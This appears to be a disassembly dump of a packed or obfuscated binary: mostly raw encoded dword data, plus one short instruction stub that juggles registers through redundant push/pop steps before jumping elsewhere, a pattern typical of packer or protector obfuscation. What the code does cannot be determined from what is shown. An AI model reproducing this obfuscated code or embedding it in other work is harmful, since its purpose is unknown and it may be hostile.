		dd 75D68006h, 6D0446C7h, 6A636E6Fh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 7DE6C351h
		dd 9FDC2628h, 53547AA3h, 59F9B70Fh, 8C0Fh, 46C70000h, 73616C08h
		dd 3830F73h, 0F000000h,	46C7DBB7h, 0Ch,	53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h
		dd 9AEBA35Eh, 1141BD2Bh, 6A06ACh, 31FD9D89h, 858D06ACh
		dd 6B34816h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Dh,	0A8C35242h, 267497ECh, 670C0F60h, 45958BA6h, 5006AC25h
		dd 751DBA66h, 80240489h, 95FFD6D2h, 6AC21EDh, 0BF9B70Fh
		dd 1D840FC0h, 0E9000000h, 0Ch, 4E5F00D3h, 24027A59h, 18DDD3C2h
		dd 33E9h, 0D981FC00h, 6B1284FCh, 0FFFB3AE9h, 55006AFFh
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 0EBFE256Eh, 9D33DE8Bh, 6AC26BDh, 70C2B58Dh, 6A06ACh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 809949C3h, 11E94AD1h, 82000000h, 0B4624834h,	5D1E76BBh
		dd 2D8406A4h, 8AF9A08Fh, 0B8h, 6E900h, 426B0000h, 0C4D71D52h
		dd 860FE6FFh, 6, 7859D23h, 95206ACh, 0AC091185h, 0C18B5A06h
		dd 32899D8Dh, 34B806ACh, 89000014h, 0AC1BAD85h,	0E806h
		dd 5580000h, 0Dh, 34E90389h, 14h, 50Ch dup(0)
		dd 8D000000h, 0B363AA8Dh, 0BE95206h, 0A7000000h, 515CCA18h
		dd 85089EDDh, 895E534Dh, 0AC2F0D8Dh, 585C706h, 4006AC1Eh
		dd 6A000058h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 662CC355h, 0C70F03BBh,	0AC27F185h
		dd 6, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1D04h, 0C3564600h, 38CC6F5Dh, 6295445h, 95892A77h, 6AC05F9h
		dd 0EA1B5FFh, 6A06ACh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 38C9F3C3h, 828F9FD8h, 0DA8166F5h
		dd 95FF181Eh, 6AC0BF9h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 0E6C35040h, 9C57D3FCh, 6AE841F7h, 4595FF00h
		dd 8B06AC21h, 0C67EEBC0h, 0B9040A6h, 0C7CE248Eh, 0A3F34D25h
		dd 184C216Eh, 652179h, 77106531h, 0E7F71204h, 3B3254D8h
		dd 6BD222D7h, 6238A3E5h, 0B08CE0C4h, 0BADD55F2h, 0A80AC225h
		dd 5CD6DC4Fh, 6CCD7D3Dh, 88FDFC78h, 0AB50184Dh,	0CF6DB88h
		dd 0BDA0F35Ch, 113E312Bh, 655AB646h, 0B6A26A4Bh, 13CB1D1Eh
		dd 871434CEh, 67ED52F2h, 7610BEE1h, 21692195h, 0EB5E57F5h
		dd 0D7E96D97h, 6508FEF0h, 2EB03871h, 41CAFE18h,	26A80A47h
		dd 8C8A4ECFh, 0ABA80A47h, 6475EAD5h, 2CA80A44h,	0BA8A4ECCh
		dd 9957AE5Dh, 548A4ECCh, 0ABA80A45h, 1F75EAD5h,	0CFA80A45h
		dd 998A4ECDh, 49A80A45h, 138A4EC2h, 0ABA80A4Ah,	2575EAD5h
		dd 31F0D42Fh, 0C0031399h, 521B358Dh, 204C90A7h,	0D1215711h
		dd 43397119h, 32B5D42Fh, 0C0031399h, 521B3595h,	23FF90A7h
		dd 0D1215711h, 43397115h, 3264D42Fh, 0C0031399h, 521B35E1h
		dd 22AB90A7h, 0D1215711h, 43397161h, 33CDD42Fh,	0C0031399h
		dd 521B35EDh, 222490A7h, 0D1215711h, 4339717Dh,	3347D42Fh
		dd 0C0031399h, 521B35F9h, 2DBA90A7h, 0D1215711h, 43397175h
		dd 3CD9D42Fh, 0C0031399h, 521B35C1h, 2D2090A7h,	0D1215711h
		dd 4339714Dh, 5012B8C3h, 0CEDF152Ah, 0A86CD24Eh, 458AFD4Ah
		dd 0D5F251A2h, 0F6EF07C0h, 0A8ED96A4h, 458A152Ah, 67A02429h
		dd 0BAB496E3h, 54A1D5ADh, 0C6CB152Ah, 0BA415564h, 0CE75EAD5h
		dd 593AAE63h, 848CB939h, 11AB5342h, 55FFEA22h, 0ABA4245Dh
		dd 0B9CF9C3Ah, 0A8EDDAC3h, 4586D7E3h, 0D744DAF7h, 0CEEAE9EEh
		dd 292359D7h, 0B9CFD226h, 54A851A2h, 4162AD6Ch,	660351A2h
		dd 0EE27BFEAh, 2C51DB2Fh, 94751399h, 0D9020112h, 0F6F2ECA0h
		dd 0EC79AEA4h, 41AE51A1h, 0AD22DC09h, 0BA8CA652h, 0DF103773h
		dd 0C821732Ah, 0E7D0A828h, 0FD5BEA2Ch, 508C152Bh, 0BC009881h
		dd 0ABAEE2DAh, 0EFD2A5FBh, 0DDA42C89h, 0CEEBE957h, 9661ADE7h
		dd 0CEDF1522h, 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 0F6EFC7C0h
		dd 5CDDDAA4h, 828668A1h, 54A8ADE7h, 0BACC152Ah,	0F88DF030h
		dd 0CE529E2Ch, 9783FC69h, 0EFE2A5B9h, 0D9F9FA31h, 0F6F2ECA0h
		dd 0D79AEA4h, 2320949Ah, 328C551Ah, 6E218481h, 29215DDFh
		dd 174D6h, 5C6A985Eh, 0A901402Ah, 34549521h, 458A15C2h
		dd 0BE290BA2h, 43397303h, 0DFA02429h, 4D1957h, 54A8515Eh
		dd 0D775532Ah, 52047403h, 0CE19CDA1h, 979BFC69h, 0EFE2A5B9h
		dd 0D9F9FA31h, 0F6F2ECA0h, 0D79AEA4h, 2320949Ah, 328C651Ah
		dd 6E218481h, 29215DDFh, 174D6h, 5C6A985Eh, 0A901402Ah
		dd 34549521h, 0CE8260A1h, 116F5DDFh, 458A15D6h,	953BFDA2h
		dd 97B91DC9h, 0DE049191h, 454A38F2h, 0A82851A2h, 5E0E1AD5h
		dd 0EDA851A2h, 458A1523h, 862DA055h, 45869025h,	0A32851A2h
		dd 8E4B7332h, 972337AAh, 38A1BE4Ch, 0A8D5D8AEh,	0B9CF9E4Bh
		dd 54A0936Bh, 0C6669E7Fh, 0DFC8AD66h, 38011D5Fh, 0A8ED96AEh
		dd 458A152Ah, 0B769C20Eh, 76582622h, 8C22FD62h,	458AD507h
		dd 0AB54D1A2h, 45939125h, 5D1151A2h, 0B28A152Ah, 5B7AD453h
		dd 458A1FAFh, 5610E0A2h, 0EF4B93E2h, 7F039191h,	38031957h
		dd 1123305Eh, 4D48DCD6h, 0B82304A2h, 2576D1A9h,	0DFA02429h
		dd 4D1957h, 54A8515Eh, 9D00B92Ah, 0D4A7B222h, 860085E1h
		dd 0AD22DC08h, 0BA8CA652h, 0FEF8E173h, 3D739FA7h, 85575711h
		dd 6E20D6A0h, 29215DDFh, 174D6h, 5C6A985Eh, 0A901402Ah
		dd 34549521h, 0CE8260A1h, 116F5DDFh, 458A15D6h,	54AFE9A2h
		dd 0D775152Ah, 520442AFh, 0C8204526h, 0E7D0A828h, 0F55BEA2Ch
		dd 949BFB2Bh, 2E853186h, 50AC5962h, 0EFAEA580h,	0DDA42C89h
		dd 0CEEBE957h, 9661ADE7h, 0CEDF1522h, 0A86CD24Eh, 4DFF9E4Ah
		dd 93A42C29h, 458AE96Fh, 0FE0451A2h, 602B87D5h,	8C23570Eh
		dd 0EF491786h, 2C51DB2Fh, 94751399h, 0BD28E9C4h, 8600BE4Ch
		dd 58D57A08h, 247668A3h, 9D541429h, 108A1DE8h, 902BBD29h
		dd 300175D6h, 58D5DAAAh, 457650EDh, 0F8A851A2h,	0E418EA80h
		dd 0DFAEFD87h, 8558B9E2h, 0AD32DC08h, 0BA8CA652h, 94103771h
		dd 0CF2173E3h, 2983FB63h, 0B9F79C26h, 0A8EDDAC3h, 4582D7E3h
		dd 0D744DAF7h, 0CEEAE9EEh, 292359D7h, 0B9CFD226h, 54A851A2h
		dd 0D775BF86h, 52047403h, 7726DDA1h, 0CE25FB63h, 43396DD3h
		dd 0ECCE825Dh, 0EEECE4AAh, 7F029028h, 38031957h, 1123305Eh
		dd 4D48DCD6h, 0B82304A2h, 2576D1A9h, 0DFA02429h, 4D1957h
		dd 54A8515Eh, 7732732Ah, 0D903376Bh, 0F6F2ECB0h, 327BAEA4h
		dd 234B9592h, 0FE04FD09h, 0CC866801h, 0DFC9ADDFh, 8743E96Fh
		dd 0DFFD51AAh, 0B94E96C6h, 5CDDDAC2h, 828668A1h, 54A8ADE7h
		dd 0FDEC152Ah, 0FFCEB824h, 3D738FA7h, 87575711h, 320A09Ah
		dd 0CE25FB0Eh, 43396DD3h, 0ECCE825Dh, 0EEECD8ACh, 0DDA42C89h
		dd 0CEEBE957h, 9661ADE7h, 0CEDF1522h, 0A86CD24Eh, 458AFD4Ah
		dd 0D5F251A2h, 0F6E2EFC0h, 0A8ED96A4h, 458A152Ah, 0DFA02429h
		dd 79261957h, 1E2C5E91h, 798A152Ah, 162C5E89h, 798A152Ah
		dd 492C5ECAh, 798A152Ah, 382C5E13h, 798A152Ah, 5C2A5EF2h
		dd 798A152Ah, 6B2A5EFAh, 0AC8A152Ah, 54A851D6h,	0BA8660D5h
		dd 0CE2559D7h, 43397105h, 5232DCF1h, 0BA8CA64Fh, 0A8EDD871h
		dd 458A42C3h, 58DDAEA2h, 0C88260D5h, 0E7CC6E38h, 0DF07462Ch
		dd 521B34A4h, 3C6D5h, 5492B85Eh, 3075152Ah, 5CDDAEAEh
		dd 21C18FA7h, 0D9FB5711h, 0F6EF13B0h, 0DD7BAEA4h, 5863E96Fh
		dd 0ABA851A2h, 3075195Fh, 332DCAAh, 168CA64Eh, 31AECB2Fh
		dd 96751399h, 0BD54142Bh, 458A152Ah, 0A8EDDAC3h, 4582D7E3h
		dd 3044BAh, 0FE900h, 0A010000h,	468Eh, 2 dup(0)
		dd 4A6E900h, 6D800000h,	2BC070B1h, 6C8232F3h, 29C171B0h
		dd 6D9C2CEDh, 0F40D70B1h, 5D9C58B7h, 2C3FBEDh, 67A65EB2h
		dd 3FFE36D7h, 40942776h, 8DE8DFCCh, 0AD5E26AAh,	56E6B171h
		dd 0C5F57CB8h, 6CA01326h, 0B1EF9335h, 0C272B39Dh, 7A2DED29h
		dd 2BEB23CAh, 0CF380881h, 75F72311h, 4623C58h, 3DB89085h
		dd 0E3230D35h, 0BC7CB855h, 0E424E00Ah, 0BD7DB952h, 154C381Ah
		dd 0B2E783A3h, 0FE4E9D59h, 4D1ADA12h, 9270AAFEh, 0F5DBF7EFh
		dd 5EEEBF7Ch, 1DB777AFh, 9048A494h, 5392BC78h, 17D70FE3h
		dd 4F8F47A1h, 14D410F9h, 51914DA2h, 88C9A579h, 26CA7AABh
		dd 294567EEh, 8F5C9874h, 71376DDEh, 47A1EF92h, 0F2E54F8Fh
		dd 249457DEh, 7ECB0BC3h, 0EF927227h, 42AE1ECDh,	69E04A8Ah
		dd 47C31F4Bh, 4DC0BB8Bh, 4Eh, 71AD5EC1h, 35CE04B1h, 8AAAEF93h
		dd 4F8602DEh, 18AC0BBh,	6000000h, 0B575B15Eh, 0F636EE03h
		dd 2291A840h, 0EF9335EEh, 0F1311F33h, 0AE6EA647h, 0F636EE18h
		dd 0D58CF8D8h, 72274363h, 10A0619Dh, 0AFFE3FF7h, 36174DFEh
		dd 4864EF93h, 0AF5E4DC1h, 46F5A477h, 0EF933612h, 38FA735Fh
		dd 65A5618Eh, 93C6A200h, 3181407Ch, 2CE800D8h, 0A86846ECh
		dd 0FB32F01Eh, 844CB937h, 9AB67658h, 0A236D2BEh, 0A6C0BB5Dh
		dd 72h,	7F15BF2Ah, 1C5B7963h, 3BD2E26Bh, 0BE144383h, 5C3F007Dh
		dd 3C8F5CC6h, 0EF92DDE8h, 0A0901935h, 6052924Ah, 9A712440h
		dd 0E801B162h, 0B65AEC2Ch, 1AD9507Eh, 588B43AAh, 8C804E8h
		dd 5FE92BA2h, 9BB777AFh, 0A337D3BFh, 0A9C0BB11h, 39h, 77AF5E25h
		dd 0BA50E0B7h, 57BB8B02h, 0FFC4C9Fh, 0B49C5ED7h, 0B259FC68h
		dd 5AEABB7Ah, 1FB575B1h, 0B15E1A96h, 0C900B575h, 0AFEF9335h
		dd 8307E38Fh, 89C0BB4Fh, 1, 74B05E05h, 2DE902B4h, 0FC684AEDh
		dd 0BA7BB359h, 806D1BDFh, 0AB96A44h, 0E52F433Bh, 7B2CECC0h
		dd 6FB129D1h, 0BA33865Fh, 76A5618Ah, 1D409427h,	44A8F640h
		dd 3AB39F88h, 64A049F9h, 1DB911A4h, 61BDF640h, 7FB75005h
		dd 0AD5FEFBEh, 921BB171h, 5E8D49A2h, 1D68BC0Fh,	99B5F640h
		dd 7B353DB1h, 38B190F5h, 639B4CFAh, 864C6A3h, 0B978B455h
		dd 0E86D34B0h, 1243C39h, 8BB00000h, 45F6254Fh, 0E52F225Ch
		dd 0BB0DCDE1h, 45279C52h, 0E32ED361h, 4BBC0CCDh, 4E55393h
		dd 45AB1BC8h, 6AE34989h, 2C9CCDA8h, 71C707BFh, 0C74E609Ch
		dd 33D489E5h, 719828FBh, 0F6FF3CB5h, 39E88F72h,	4876h
		dd 4C8BFA00h, 775FF526h, 51EC7DA4h, 338C5FEEh, 7805781Bh
		dd 5D9320F1h, 626F92A0h, 0E53B8E4Eh, 976F929Fh,	9453DBB7h
		dd 6A9E2DFEh, 77EF929Fh, 515C3D5Dh, 15BF7FB7h, 0BB5EFB3Dh
		dd 68A86489h, 672DECC2h, 96h, 0E00FBF6Dh, 0C74EE424h, 5F8CE622h
		dd 2F2811ECh, 6EA5AE5h,	7E5247CEh, 35F11DADh, 1FC87EBCh
		dd 0C77726E7h, 2EDDEF27h, 159C36F6h, 0C808C425h, 3F54227Dh
		dd 4BFBD4F6h, 3A969A5h,	99BCA88Ah, 1075B470h, 0DE6DBED4h
		dd 0EBD3BB90h, 0C771B19Dh, 8D3DEE26h, 0CE64A460h, 228547h
		dd 4A20E464h, 25FC2A99h, 94C5F287h, 0C909C524h,	29FE5263h
		dd 924303A6h, 0A629EB21h, 321C3003h, 0CC7FAEBBh, 3A62998h
		dd 26E7C9E5h, 0EC28C777h, 29588C3Fh, 89A503A6h,	4F8B8C00h
		dd 1545F625h, 0DEE5279Ch, 0CE477F6Eh, 9424F7DBh, 0F537BE76h
		dd 0B372AA43h, 0CC00B3E2h, 11F6469Fh, 6384B43Dh, 22C878ABh
		dd 1CDC18F6h, 0F25898B6h, 66EF27C0h, 0FC1711A4h, 2505B610h
		dd 3BF31449h, 65A14AFAh, 0DFFB13A5h, 69BF0C2Dh,	0B6368404h
		dd 0DE74B49Ah, 0B59730F0h, 0AB6384D9h, 0F531DA6Ah, 37935h
		dd 730000h, 7BB35E72h, 20DC0DBBh, 2BA56E0h, 5A9274C2h
		dd 1BD2C9Ah, 5C9877C1h,	0AC22A9Ch, 568E7CCAh, 13CB2096h
		dd 8957DDD3h, 4C781E7h,	83000000h, 3C8704EFh, 1C895C24h
		dd 0E2895224h, 4C281h, 0EA830000h, 24148704h, 2414895Ch
		dd 81E28952h, 4C2h, 4EA8100h, 87000000h, 895C2414h, 0BE562404h
		dd 0C7F20F2h, 8101EE83h, 3448EDC6h, 5EF289FAh, 24048B54h
		dd 5204C483h, 59240481h, 8F2D5644h, 0BB530840h,	2D564459h
		dd 5B085829h, 582434FFh, 0FF04C483h, 835A2434h,	0A5E904C4h
		dd 4BFFF90Fh, 3C5F7E8Fh, 30BF98C0h, 0B36DFEB8h,	0FFC50306h
		dd 0B2878CE0h, 9F431E26h, 3E489B3Eh, 177E5445h,	8BA21744h
		dd 9EE906h, 15F80000h, 43A818D9h, 14FA4A8Bh, 41A919D8h
		dd 15F44485h, 9C6518D9h, 25E420CFh, 7ABB7395h, 2FEE26CAh
		dd 77B66E9Fh, 88DC6F3Eh, 0D5E8DFC7h, 0AE5E7EF2h, 51E1B676h
		dd 15BF7FB7h, 26C6749Ch, 439C2FEEh, 0AEEF9335h,	0EF568E4Eh
		dd 93B7D3F5h, 9928BEEFh, 0C2AEFD6h, 20000000h, 76852F00h
		dd 5E980C00h, 5EDD51D8h, 0DBB7BB3h, 56E020DCh, 74C202BAh
		dd 2C9A5A92h, 77C101BDh, 2A9C5C98h, 7CCA0AC2h, 2096568Eh
		dd 0DDD313CBh, 0B36EA668h, 0EE6E906h, 26DCFFF9h, 0E619CDD8h
		dd 11859448h, 70148D8Dh, 6A06B3h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 0E478C4C3h, 0E352E0CAh
		dd 5E9h, 0B0552700h, 8E0F1C45h,	17h, 12E9h, 61E14000h
		dd 92111266h, 9B70DC91h, 0F6B8A5B6h, 892FC5B3h,	0AC2F0D8Dh
		dd 0F1BF0F06h, 1E0585C7h, 687406ACh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 180424h, 51410000h, 8EBBECC3h
		dd 9D8B6114h, 6AC11F1h,	27F185C7h, 6ACh, 95890000h, 6AC2071h
		dd 1155B5FFh, 6A06ACh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 0D6686CC3h, 18D89B0h, 0FF06AC1Dh
		dd 0AC0BF995h, 0FF006A06h, 0AC214595h, 0EBC08B06h, 5937CA69h
		dd 8C334521h, 0E28FFF95h, 7474FD90h, 0D4613F2Dh, 29E77E67h
		dd 0AFC2A847h, 0A5F26093h, 0E65AB1BCh, 64D2658Bh, 11AD14EAh
		dd 0F58619Bh, 0D228E9F4h, 0A1D915A9h, 0C740D397h, 0B560CC37h
		dd 87F732D8h, 1D4981FFh, 33235CDCh, 0C67886F2h,	0BE066E6Eh
		dd 90D3676Fh, 0C1385824h, 540FB874h, 50D0AE2Bh,	900DABD3h
		dd 0CEB2E5Eh, 2C392A37h, 63B5E6FCh, 0BBA59CD0h,	5A3E9h
		dd 597E900h, 29C40000h,	6F9C2CEDh, 28C676B7h, 6D9D2DECh
		dd 29C070B1h, 0A8512CEDh, 79B8749Bh, 26E71FC9h,	83427A96h
		dd 0E322DA33h, 1448FBAAh, 59E8DFC6h, 0AD5EF27Eh, 0EB07B171h
		dd 0A345F333h, 0EE1DAB6Bh, 0A940F636h, 0F31BAD6Dh, 9F4DFB3Bh
		dd 0FC11A767h, 0A76300C0h, 0F7AD1ECDh, 44E52785h, 4FFFA868h
		dd 2436BA3h, 0C1CC84A6h, 0D735058Ch, 0DE8FDE1Fh, 46E3376Dh
		dd 53B484F6h, 0DFF15B9Bh, 4C886656h, 826BDB8Ch,	0A9208A4Ah
		dd 0C250969Ah, 0EE9ABA87h, 74A81B4Ah, 0B920D176h, 0BE2C1C95h
		dd 8365D506h, 5001C24Bh, 44CD09E0h, 0DC0F65A1h,	65C7BD6Fh
		dd 0EE2E0216h, 0B978B458h, 0E929E509h, 871EB35Ch, 8DF9D97Ch
		dd 29E824C8h, 31E2884Ch, 276AEB82h, 1CDCF082h, 73A91A4Bh
		dd 7C933768h, 376899CFh, 0DDCAE693h, 114B78F1h,	0E1933769h
		dd 0C94DA9C5h, 0C39CE082h, 7, 37FA44Fh,	5EAE0000h, 19A97AB2h
		dd 0C54B3FF5h, 0E1B3E109h, 2CA50FCFh, 7AB258EEh, 0E72003A9h
		dd 16DD9266h, 6EB5D9Fh,	40803CD2h, 0B204C4EAh, 5062A25Ah
		dd 0F75D1470h, 0AE6BBD7h, 6F1119D4h, 0A48A860Ah, 0FD39D565h
		dd 22AF1E3Dh, 0C32F721Eh, 947ACA0Bh, 0BE2E9858h, 4361C606h
		dd 0D0399327h, 0F02CC0EEh, 0D4D694D8h, 9C905E6h, 0F41A2AA3h
		dd 18A8F938h, 54F838F4h, 0A9F74BB1h, 921B350Dh,	0D28B01A1h
		dd 8C42B98h, 0BE2898C9h, 4DBF8F06h, 5E75191h, 1B3B09C9h
		dd 947BCB6Fh, 7E1D158h,	0FE4D1CCFh, 2052B2AAh, 9152DBF7h
		dd 0EADBh, 498BD100h, 36376DDEh, 0A884EF93h, 3694C87Bh
		dd 0F5D9EF93h, 4FB808DBh, 0D1CAC791h, 331D9B5Dh, 12D059F3h
		dd 4A8B43A4h, 18D814FAh, 77AD1E4Fh, 0C4EF940Ah,	0F531DAE8h
		dd 25169F35h, 0EF940AEFh, 1B3E2A08h, 0EC625F5h,	0B751E120h
		dd 0E009BF7Fh, 0BA52E424h, 9774C202h, 6BB79F5Fh, 0D0F046FFh
		dd 0CF07E1B4h, 904CBE0Eh, 0DD19F343h, 4FC6FEEFh, 4D43B8Dh
		dd 0F61A28E4h, 7A54FE3Eh, 533F1DBAh, 0F320DC0Eh, 0CA6BA943h
		dd 0E7B6CC28h, 52911836h, 0D30BE2h, 11EB93AAh, 654D734Dh
		dd 0EAD262C8h, 0E527AEC5h, 5549E8C6h, 0D3358539h, 1E77DB1Bh
		dd 7B5CA85Dh, 0DA30022Ch, 0C148E222h, 31E21AF1h, 70B06C81h
		dd 9D88DBDCh, 517F9B6Fh, 47AB1BD8h, 81417D93h, 92C5052Bh
		dd 0CD0DC922h, 84DDEE67h, 6BEF940Ah, 94781D49h,	5E959958h
		dd 0EDBA7AB2h, 6C361A47h, 8F068D86h, 489B53BFh,	5CD511F8h
		dd 2D59FB9Eh, 0F8E22389h, 342872E4h, 0F79480D2h, 20A987D4h
		dd 1C0FC10h, 92CA77B2h,	0BF36BDEFh, 0B7C0BB2Ah,	0FFFFFEDAh
		dd 0D5663766h, 0EF92DC7Fh, 7BD1E0CCh, 0C0EF92DCh, 0DC6EA211h
		dd 9FB3EF92h, 8BB438B1h, 45F6254Fh, 0E52F2868h,	4E19D9F5h
		dd 0E6E38BE4h, 3FC0FF55h, 48604CF6h, 55B66B1Ah,	0E3EB799h
		dd 42F221DDh, 39FA73ABh, 53B86089h, 2275B59Bh, 398CC073h
		dd 12F4F63Fh, 0A7B01ADAh, 0DA32028Bh, 0F0D0E222h, 0EC28C194h
		dd 0B06C9D2Dh, 843AD363h, 48F936FFh, 0EA2A0460h, 0BE0BC940h
		dd 0F63F4367h, 0F1421342h, 0F63F439Bh, 6745CCE0h, 79B5560Bh
		dd 27DF08B8h, 0E800B0E7h, 614A232Ah, 220C4590h,	24C148E2h
		dd 0EA598AE0h, 0EBDB8853h, 0D0B57458h, 1EAD7E14h, 0F27FD612h
		dd 0C573B39Fh, 943EED29h, 0DC83F7F5h, 0D6159C7Ch, 81528A66h
		dd 0FBD6B12Bh, 0A8213BA5h, 0D7D9DF6Ah, 0FBDB9519h, 0EE26CA8Fh
		dd 0B16D9F2Fh, 0F32BC771h, 4F3B1F33h, 0D17737B3h, 0BB3D01h
		dd 5CEC0000h, 0AE4270ACh, 0BF73FF76h, 0D53BDF0Fh, 5DF73719h
		dd 35E73D8Eh, 1834EF93h, 904CA191h, 0FC1CF343h,	39F9D70Fh
		dd 69D91A93h, 3A8A4B83h, 6BDB1AD2h, 39894884h, 6BDB1AD2h
		dd 0D50BB881h, 3FEF9335h, 71DB1BD3h, 0A5644A66h, 0FC3DF915h
		dd 0A2639B4Ch, 30DFFB12h, 0B09E34F4h, 0CB7D3F70h, 70A41722h
		dd 0BDEF9335h, 0DC6CBF91h, 63B90A2Fh, 0A8EF9335h, 0E123AA84h
		dd 0BC7CB857h, 0EE2EE60Ah, 43D298Bh, 0CD690527h, 1BD2C9Ch
		dd 0B6EA5988h, 0FBEF9335h, 4AA616D7h, 4E45292h,	8CA208C8h
		dd 0A7490547h, 1E000000h, 35A8FC4Fh, 0D9F5EF93h, 3786DC50h
		dd 0EF9335E4h, 97533F1Dh, 75B15E1Bh, 1044F7A6h,	5DEF9336h
		dd 6A3BF871h, 70F935DAh, 0B372AA40h, 0C32FEB03h, 73F9750Dh
		dd 49671953h, 0DE0D2389h, 8444806Eh, 3564A72Eh,	68A86485h
		dd 8C588C3Fh, 89A5EF92h, 91C774A7h, 0DEEF928Ch,	0A44B7BF2h
		dd 0F219A968h, 0A14BFB3Ah, 267AC998h, 6BEF928Dh, 8D227647h
		dd 18ABEF92h, 0EF928CC4h, 1E322509h, 0AD41F130h, 8CE93F8Ch
		dd 1A36EF92h, 0C808C428h, 3D8D4C62h, 23DB0CCCh,	8D0D43F0h
		dd 7E52EF92h, 3DB9150h,	0D1000000h, 0B35E7200h,	0DC0DBB7Bh
		dd 0BA56E020h, 9274C202h, 0BD2C9A5Ah, 9877C101h, 0C22A9C5Ch
		dd 8E7CCA0Ah, 0CB209656h, 68DDD313h, 2ACAh, 24048F54h
		dd 4240483h, 1C0868h, 240C8900h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	6B3709Ah
		pop	ecx
		push	esp
		mov	esi, [esp]
		add	esp, 4
		push	7F54h
		mov	[esp], ecx
		pop	dword ptr [esi+8]
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_54FDCC
; ---------------------------------------------------------------------------
		dd 4BA450ABh, 0D4A4FB0Bh, 0C03F46F8h, 75CBB845h, 0C50306B3h
		dd 0AE8D38Bh, 0FE000000h, 4001061Bh, 0ECB71025h, 4820F14h
		dd 66000000h, 5A9EC2BFh, 0BE8h,	0D7B64D00h, 8E7EDC37h
		dd 20DEEC21h, 0C2815EF8h, 69C0h, 89ABA3BFh, 60C92B03h
		dd 2840Fh, 61600000h, 0BE957h, 8F80000h, 2B28282Fh, 2DADB832h
		dd 0FF615F5Eh, 0B70F1134h, 81F858F3h, 0C14659F0h, 0A9D68115h
		dd 8117F2DCh, 38226F0h,	0F081604Fh, 6C73DD6h, 61D7B70Fh
		dd 18F3E881h, 0BE96F67h, 0B3000000h, 0F97D91F5h, 177E178Dh
		dd 8B501679h, 0A048FF8h, 0CE8h,	9D60A400h, 0B0B313FEh
		dd 6453FA53h, 0EB805E55h, 0EEE98103h, 0E8198C0Eh, 12h
		dd 0D91CFA32h, 853519BAh, 0C9F65E28h, 75201DC5h, 8166793Fh
		dd 5BF125DBh, 0EEAC181h, 0BF0F198Ch, 44F981FFh,	0FFFFF97h
		dd 1385h, 24E9F800h, 2000000h, 3F00736Ah, 20D5A45Ah, 0F8C7ABBDh
		dd 0FFFF5AE9h, 6F4628FFh, 0D43CB33Fh, 0C110FF90h, 0EC04399Ch
		dd 55150533h, 5E75FDEDh, 0A476F67Ah, 0BC56E669h, 3054FD49h
		dd 1FCAFD21h, 80BFD21h,	8069FD21h, 455BFD21h, 0A731FD21h
		dd 0D61EFD21h, 6EFFFD21h, 32EAFD21h, 1F11FD21h,	8EEFD21h
		dd 8243FD21h, 45ACFD21h, 0A78DFD21h, 0D56EFD21h, 6C2AFD21h
		dd 307EFD21h, 259DFD21h, 2295358Ah, 4A76D6A2h, 0BD5CDE71h
		dd 5A5CF44Bh, 2775FD7Ah, 9775F572h, 0CB74FD79h,	0ED73FD78h
		dd 0F374F57Dh, 7874FC7Bh, 0BC75FC7Bh, 5E75FD7Ah, 0C676FD7Ah
		dd 1475A620h, 0CB75A626h, 0E475FD7Ah, 0F374FC7Bh, 9074FC7Bh
		dd 0BC75F8B2h, 1F0701Ah, 0A6734E01h, 24026BFFh,	0BEF0707Ch
		dd 6C734E01h, 4102ABFFh, 0CAF0707Ch, 35734E01h,	0ED026FFFh
		dd 3CF0707Ch, 1E734E01h, 7802A7FFh, 37F0707Ch, 7B734E00h
		dd 0CA02A3FFh, 0CCF0707Ch, 0D7734E03h, 9C029FFFh, 15F0707Ch
		dd 42734E03h, 56029BFFh, 6AF0707Ch, 0F0734E03h,	0F0297FFh
		dd 0ADF0707Ch, 0A6734E03h, 24028BFFh, 74F0707Ch, 6C734E03h
		dd 410293FFh, 0A7F0707Ch, 35734E03h, 0ED028FFFh, 0DCF0707Ch
		dd 1E734E03h, 78028BFFh, 0C8F0707Ch, 7B734E00h,	0CA027BFFh
		dd 0F0F0707Ch, 0D7734E00h, 9C0277FFh, 0F8F0707Ch, 42734E00h
		dd 560273FFh, 4AF0707Ch, 0F0734E00h, 0F0287FFh,	0B1F0707Ch
		dd 0A6734E00h, 240283FFh, 41F0707Ch, 6C734E01h,	41027FFFh
		dd 0D8F0767Ch, 3573515Fh, 0ED0232FFh, 22F0767Ch, 1E735169h
		dd 78022EFFh, 0B0B69C7Ch, 0F29D11F1h, 2375FD7Ah, 0C49617FBh
		dd 0D525FBC9h, 0ADFDF53Fh, 91C68AB4h, 0CFB73422h, 0B723AC7Ah
		dd 1A20AD29h, 7975FD7Ah, 0B8987C27h, 0A0734E03h, 9C02A8FFh
		dd 0C2C87D7Ch, 0CF734E0Dh, 0E4C5B409h, 0F9B54B75h, 863589BAh
		dd 0F022EEFh, 96FEBD7Ch, 2F7A452Bh, 28AFD7Ah, 0CDC68AA9h
		dd 922348F7h, 0C6F8FBC9h, 4B9D50FCh, 0CF75FD7Eh, 5E76456Fh
		dd 0BA8AFD7Ah, 91C68AA9h, 0BC2348F7h, 0D1F8FBC9h, 228A50FCh
		dd 87BC1F23h, 0F02A8F7h, 52DA07Ch, 0EC2CA320h, 97776D92h
		dd 0C1CD4D7Ah, 708A5779h, 0F4C68AB5h, 79D3ED1h,	0DA75FD78h
